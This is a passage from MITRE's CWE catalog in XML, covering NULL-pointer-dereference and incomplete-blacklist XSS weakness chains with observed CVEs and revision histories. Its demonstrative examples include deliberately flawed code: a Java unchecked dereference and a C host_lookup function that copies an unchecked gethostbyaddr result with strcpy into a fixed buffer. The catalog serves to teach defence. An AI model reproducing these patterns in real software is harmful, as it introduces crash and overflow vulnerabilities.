			      </Observed_Examples>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>Under-studied. It seems likely that this weakness could occur in any
						situation in which a complex or large copy operation occurs, when the
						resource can be made available to other spheres as soon as it is created,
						but before its initialization is complete.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <References>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 9, "Permission Races", Page 533.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>26</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>27</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Relationships, Other_Notes,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Compound_Element>
                    <Compound_Element ID="690" Name="Unchecked Return Value to NULL Pointer Dereference" Compound_Element_Abstraction="Base" Compound_Element_Structure="Chain" Status="Draft">
			      <Description>
				        <Description_Summary>The product does not check for an error after calling a
					function that can return with a NULL pointer if the function fails, which leads
					to a resultant NULL pointer dereference.</Description_Summary>
				        <Extended_Description>
					          <Text>While unchecked return value weaknesses are not limited to returns of NULL
						pointers (see the examples in CWE-252), functions often return NULL to
						indicate an error status. When this error condition is not checked, a NULL
						pointer dereference can occur.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>20</Relationship_Target_ID>
					          <!--Improper Input Validation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>709</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Chains>
						            <Relationship_Chain_ID>690</Relationship_Chain_ID>
					          </Relationship_Chains>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>StartsWith</Relationship_Nature>
					          <Relationship_Target_ID>252</Relationship_Target_ID>
					          <!--Unchecked Return Value-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>851</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 06 - Exceptional Behavior (ERR)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>876</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 08 - Memory Management (MEM)-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="C"/>
					          <Language Language_Name="C++"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>A typical occurrence of this weakness occurs when an application includes
						user-controlled input to a malloc() call. The related code might be correct
						with respect to preventing buffer overflows, but if a large value is
						provided, the malloc() will fail due to insufficient memory. This problem
						also frequently occurs when a parsing routine expects that certain elements
						will always be present. If malformed input is provided, the parser might
						return NULL. For example, strtok() can return NULL.</Text>
				        </Note>
			      </Other_Notes>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Detection_Methods>
				        <Detection_Method>
					          <Method_Name>Black Box</Method_Name>
					          <Method_Description>
						            <Text>This typically occurs in rarely-triggered error conditions, reducing
							the chances of detection during black box testing.</Text>
					          </Method_Description>
				        </Detection_Method>
				        <Detection_Method>
					          <Method_Name>White Box</Method_Name>
					          <Method_Description>
						            <Text>Code analysis can require knowledge of API behaviors for library
							functions that might return NULL, reducing the chances of detection when
							unknown libraries are used.</Text>
					          </Method_Description>
				        </Detection_Method>
			      </Detection_Methods>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The code below makes a call to the getUserName() function but
						doesn't check the return value before dereferencing (which may cause a
						NullPointerException).</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>String username = getUserName();</Code>
							              <Code>if (username.equals(ADMIN_USER)) {</Code>
							              <Block>
								                <Code>...</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-1">
					          <Intro_Text>This example takes an IP address from a user, verifies that it is
						well formed and then looks up the hostname and copies it into a
						buffer.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>void host_lookup(char *user_supplied_addr){</Code>
							              <Block>
								                <Code>struct hostent *hp;</Code>
								                <Code>in_addr_t *addr;</Code>
								                <Code>char hostname[64];</Code>
								                <Code>in_addr_t inet_addr(const char *cp);</Code>
								                <Code/>
								                <Comment>/*routine that ensures user_supplied_addr is in the right
									format for conversion */</Comment>
								                <Code>validate_addr_form(user_supplied_addr);</Code>
								                <Code>addr = inet_addr(user_supplied_addr);</Code>
								                <Code>hp = gethostbyaddr( addr, sizeof(struct in_addr),
									AF_INET);</Code>
								                <Code>strcpy(hostname, hp-&gt;h_name);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>If an attacker provides an address that appears to be well-formed, but
							the address does not resolve to a hostname, then the call to
							gethostbyaddr() will return NULL. Since the code does not check the
							return value from gethostbyaddr (CWE-252), a NULL pointer dereference
							(CWE-476) would then occur in the call to strcpy(). </Text>
						            <Text>Note that this example is also vulnerable to a buffer overflow (see
							CWE-119).</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-1052</Observed_Example_Reference>
					          <Observed_Example_Description>Large Content-Length value leads to NULL pointer
						dereference when malloc fails.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-6227</Observed_Example_Reference>
					          <Observed_Example_Description>Large message length field leads to NULL pointer
						dereference when malloc fails.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-2555</Observed_Example_Reference>
					          <Observed_Example_Description>Parsing routine encounters NULL dereference when
						input is missing a colon separator.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-1054</Observed_Example_Reference>
					          <Observed_Example_Description>URI parsing API sets argument to NULL when a
						parsing failure occurs, such as when the Referer header is missing a
						hostname, leading to NULL dereference.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-5183</Observed_Example_Reference>
					          <Observed_Example_Description>chain: unchecked return value can lead to NULL
						dereference</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Relevant_Properties>
				        <Relevant_Property>Validity</Relevant_Property>
			      </Relevant_Properties>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Do not catch NullPointerException or any of its
						ancestors</Mapped_Node_Name>
					          <Mapped_Node_ID>ERR08-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Detect and handle memory allocation errors</Mapped_Node_Name>
					          <Mapped_Node_ID>MEM32-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Sean Eidemiller</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>added/updated demonstrative
						examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Description,
						Detection_Factors, Relationships, Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Observed_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Compound_Element>
                    <Compound_Element ID="692" Name="Incomplete Blacklist to Cross-Site Scripting" Compound_Element_Abstraction="Base" Compound_Element_Structure="Chain" Status="Draft">
			      <Description>
				        <Description_Summary>The product uses a blacklist-based protection mechanism to
					defend against XSS attacks, but the blacklist is incomplete, allowing XSS
					variants to succeed.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>20</Relationship_Target_ID>
					          <!--Improper Input Validation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>709</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Chains>
						            <Relationship_Chain_ID>692</Relationship_Chain_ID>
					          </Relationship_Chains>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>StartsWith</Relationship_Nature>
					          <Relationship_Target_ID>184</Relationship_Target_ID>
					          <!--Incomplete Blacklist-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="C"/>
					          <Language Language_Name="C++"/>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>While XSS might seem simple to prevent, web browsers vary so widely in how
						they parse web pages, that a blacklist cannot keep track of all the
						variations. The "XSS Cheat Sheet" (see references) contains a large number
						of attacks that are intended to bypass incomplete blacklists.</Text>
				        </Note>
			      </Other_Notes>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-5727</Observed_Example_Reference>
					          <Observed_Example_Description>Blacklist only removes &lt;SCRIPT&gt;
						tag.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-3617</Observed_Example_Reference>
					          <Observed_Example_Description>Blacklist only removes &lt;SCRIPT&gt;
						tag.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-4308</Observed_Example_Reference>
					          <Observed_Example_Description>Blacklist only checks "javascript:"
						tag</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Relevant_Properties>
				        <Relevant_Property>Validity</Relevant_Property>
			      </Relevant_Properties>
			      <References>
				        <Reference>
					          <Reference_Author>S. Christey</Reference_Author>
					          <Reference_Title>Blacklist defenses as a breeding ground for vulnerability
						variants</Reference_Title>
					          <Reference_PubDate>February 2006</Reference_PubDate>
					          <Reference_Link>http://seclists.org/fulldisclosure/2006/Feb/0040.html</Reference_Link>
				        </Reference>
			      </References>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>18</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>19</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>199</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>244</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>267</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>32</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>63</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>71</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>80</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>85</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>86</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>91</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Relationships,
						Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-24</Modification_Date>
					          <Modification_Comment>added Language_Class "All"</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Compound_Element></Compound_Elements>
            </Weakness_Catalog>